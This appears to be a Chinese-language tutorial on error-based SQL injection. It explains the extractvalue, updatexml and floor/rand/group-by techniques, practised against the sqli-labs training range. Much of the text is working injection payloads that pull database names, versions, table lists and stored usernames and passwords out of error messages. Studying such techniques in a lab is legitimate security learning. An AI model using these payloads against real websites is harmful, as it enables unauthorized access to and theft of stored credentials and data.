在學習sql注入的過程中經常會遇到一些沒有顯示位的sql'注入靶場,所以一般的注入的方式就無法再使用,在這種情況下我們可以使用函數報錯注入的方式,通過報錯查詢和顯示我們想要得到的數據,下面是我報錯注入的三種基本方式;
(一)、extractvalue報錯注入
extractvalue函數的基本格式為:ExtractValue(xml_frag, xpath_expr)
extractvalue函數接收兩個字符串參數,一個屬xml標記片段和xpath表達式xpath expr(xml是一種可擴展標記語言,使用標簽來操作,html就是一種常見的標記型語言,xml主要用來存儲數據,體現在作配置文件,或者充當小型數據庫,在網絡中傳輸數據,類似與HTML語言中的div標簽;)(xpath expr 也稱為定位器,也就是路徑查詢,因為咱們主要是為了學習sql注入,所有函數的原理不用太糾結,只要大概了解一下就行了)其實簡單點來說,第一個參數就是為了上傳一個xml文檔,第二個參數就是用xpath路徑法查找路徑,而extractvalue報錯注入 就是通過再函數中寫如不符合語法格式的xpath達到報錯的目的,並且通過拼接sql注入語句從而通過報錯查詢並顯示我們想要查詢的內容;
例如:select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
這里通過concat拼接sql語句並且由於我們第二個·參數的位置寫入的xpath是不符合語法格式的所以會產生報錯,從而達到我們想要查詢的內容
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(sql語句))))在sql語句處插入我們想要查詢的內容的sql語句;
查詢數據庫:select username from security.user where id=1 and (extractvalue('anything',concat('~',(select database())))) --+
查找版本:?id=' and (extractvalue('anything',concat('~',(select version())))) --+
查表:id=' and (extractvalue('anything',concat('~',(select group_concat( table_name) from information_schema.tables where table_schema='security')))) --+ (這里查詢的是庫中所有的表,若是想要查詢單個表可以加限制條件)
查字段內容:?id=' and (extractvalue('anything',concat('~',(select group_concat(id,username,password) from security.users)))) --+
(二)、updatexml報錯注入
updatexml報錯注入和extractvalue報錯注入的原理基本差不多,都是利用插入不符合函數格式的語句並拼接查詢語句從而通過函數報錯達到我們查詢內容的目的;
基本格式:UpdateXML(xml_target, xpath_expr, new_xml)
xml - taeget:是我們需要操作的xml片段;
xpath -expr:和上面的一樣,是需要更新的路徑;
xml -xml:是更新后的的xml字段;
(此函數用來更新選定XML片段的內容,將XML標記的給定片段的單個部分替換為 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替換的部分 與xpath_expr 用戶提供的XPath表達式匹配)(參考別人的接受);
其最終還是因為路徑產生報錯從而達到報錯的目的;
格式:select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(sql語句)),’anything’))
(和extractvalue函數一樣在sql語句處插入我們想要查詢內容的sql注入語句)
查詢數據庫:?id=' and (updatexml('anything',concat('~',(select database())),'anything')) --+
查詢數據庫版本:?id=' and (updatexml('anything',concat('~',(select version())),'anything')) --+
查表:?id=' and (updatexml('anything',concat('~',(select group_concat( table_name) from information_schema.tables where table_schema='security' )),'anything')) --+ (查詢所有表,若想查詢單一表可以使用limit函數)
查字段內容:?id=' and (updatexml('anything',concat('~',(select group_concat(id,username,password) from security.users)),'anything')) --+
(三)、floor函數報錯
基本格式:),concat((payload),floor (rand(0)
floor(): 去除小數部分
rand(): 產生隨機數
rand(x): 每個x對應一個固定的值,但是如果連續執行多次值會變化,不過也是可預測的
count:COUNT(column_name) 函數返回指定列的值的數目(NULL 不計入);COUNT(*) 函數返回表中的記錄數:
floor報錯就是通過使floor ,count ,group by 三個函數相遇發生錯誤從而達到報錯注入的目的;
floor 產生報錯的語句:select count(*) ,floor(rand(0)*2)x from security.users group by x(自定義數據庫的一張表);在這里x就是給floor(rand(0)*2)定義了一個別名;也就是說floor(rand(0)*2)就是x,這里是為了使floor(rand(0)*2)與group by 相遇;
而group by x也就是group by floor(rand(0)*2) ,首先floor(rand(0)*2)是為了隨機產生0,1;雖然生成的數是隨機的,但當產生的次數多了也是有規律的,基本就是0110111;所以我們可以看作每次產生的隨機數都是固定的;
而floor的原理大概就是count(*)和group by的共同工作,首先系統會先建立一張虛擬表;group by會讀取rand產生的隨機數,將其插入的到虛擬表中並記錄下次數當再次循環出現一個前面已經出現的隨機數系統會再次插入可虛擬表的已經有了這就會出現問題,系統會拋棄多余的,從而出現報錯的異常,從而達到報錯注入的目的;(其具體原理可以參考大神的講解:https://blog.csdn.net/qq_43504939/article/details/90046342)但是我們只要大概明白就行了,重要的是sql注入知識的應用;
查詢庫,user,版本:?id=%27 union select 1,2,3 from (select count(*),concat((select concat(version(),database(),user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
查詢表:?id=1'union select null,count(*),concat((select table_name from information_schema.columns where table_schema= 'security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
查字段:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select column_name from information_schema.columns where table_name= 'users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
查數據:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
以上就是報錯注入的三種基本方式,這種報錯注入其實都是利用構造錯誤函數並拼接我們想要查詢內容的sql語句,從而通過數據庫返回我們想要的數據;
下面是一些參考的鏈接和原理講解的鏈接:https://blog.csdn.net/qq_43504939/article/details/90046342